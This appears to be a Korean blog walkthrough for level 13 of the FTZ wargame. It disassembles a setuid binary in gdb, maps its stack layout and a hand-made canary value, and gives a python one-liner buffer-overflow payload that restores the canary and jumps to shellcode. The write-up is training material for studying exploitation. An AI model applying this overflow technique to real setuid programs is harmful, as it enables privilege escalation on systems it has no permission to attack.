1. 풀이

- hint 파일의 내용을 통해 argc(인자의 개수)는 1을 넘어야하며, i의 값은 0x1234567이어야 프로그램이 실행되는 것을 알 수 있음

- i의 값은 버퍼 오버플로우 방지를 위한 스택가드의 역할을 수행

 

- attackme 파일을 tmp로 복사하여 gdb로 분석

 

Procedure Prelude

0x080484a0 <main+0>:    push   %ebp
0x080484a1 <main+1>:    mov    %esp,%ebp
0x080484a3 <main+3>:    sub    $0x418,%esp

- 지역변수에 0x418(1048byte) 만큼의 공간을 할당

- buf(1024byte)와 long i(4byte) 만큼의 공간을 제외하면 20byte 만큼의 dummy가 있음을 알 수 있음

② long i=0x1234567;

0x080484a9 <main+9>:    movl   $0x1234567,0xfffffff4(%ebp)

- 할당받은 지역변수(1048byte) 공간에 i값 0x1234567을 저장

- strcpy() 함수를 호출하는 main+69에 BP를 설정 및 buf의 크기 1024byte 만큼의 A를 전달 후 메모리 값 확인

- buf는 0xbfffed5F에서 끝나며, i는 0xbfffed6C에 저장되 있으므로, 두 값 사이에는 12byte 만큼의 dummy가 존재

- 또한, 전체 지역변수 공간 1048byte에서 buf(1024)+dummy(12)+i(4)를 제외한 8byte 만큼의 dummy가 존재

- 완성된 스택 구조는 다음과 같음

 

③ setreuid(0xc16,0xc16)

0x080484b3 <main+19>:   push   $0xc16
0x080484b8 <main+24>:   push   $0xc16
0x080484bd <main+29>:   call   0x8048370 <setreuid>

- level13 권한 설정

 

④ if(argc>1)

0x080484c5 <main+37>:   cmpl   $0x1,0x8(%ebp)
0x080484c9 <main+41>:   jle    0x80484e5 <main+69>

- if문 수행 후 분기 결정

 

strcpy(복사할 대상, 복사할 원본);

0x080484d6 <main+54>:   lea    0xfffffbe8(%ebp),%eax
0x080484dc <main+60>:   push   %eax
0x080484dd <main+61>:   call   0x8048390 <strcpy>

- strcpy()를 이용해 argv[1]의 값을 buf 배열에 복사를 수행

- strcpy()는 문자열 길이에 대한 검증을 수행하지 않기에 BOF에 취약

 

⑥ if(i != 0x1234567)

0x080484e5 <main+69>:   cmpl   $0x1234567,0xfffffff4(%ebp)
0x080484ec <main+76>:   je     0x804850d <main+109>

- i의 값이 0x1234567 비교 후 분기 결정

 

- 분석한 스택 구조와 hint의 내용을 토대로, 공격 코드를 작성

`python -c 'print "\x90"*1036(buf+dummy)+"\x67\x45\x23\x01"+"\x90"*12(dummy+sfp)+"쉘코드 주소"'`

- level14의 비밀번호 확인

'문제풀이 > FTZ' 카테고리의 다른 글

FTZ Level15 풀이  (0) 2022.11.05
FTZ Level14 풀이  (0) 2022.11.05
FTZ Level12 풀이  (0) 2022.10.31
FTZ Level11 풀이  (0) 2022.10.31
FTZ Level10 풀이  (0) 2022.10.31

+ Recent posts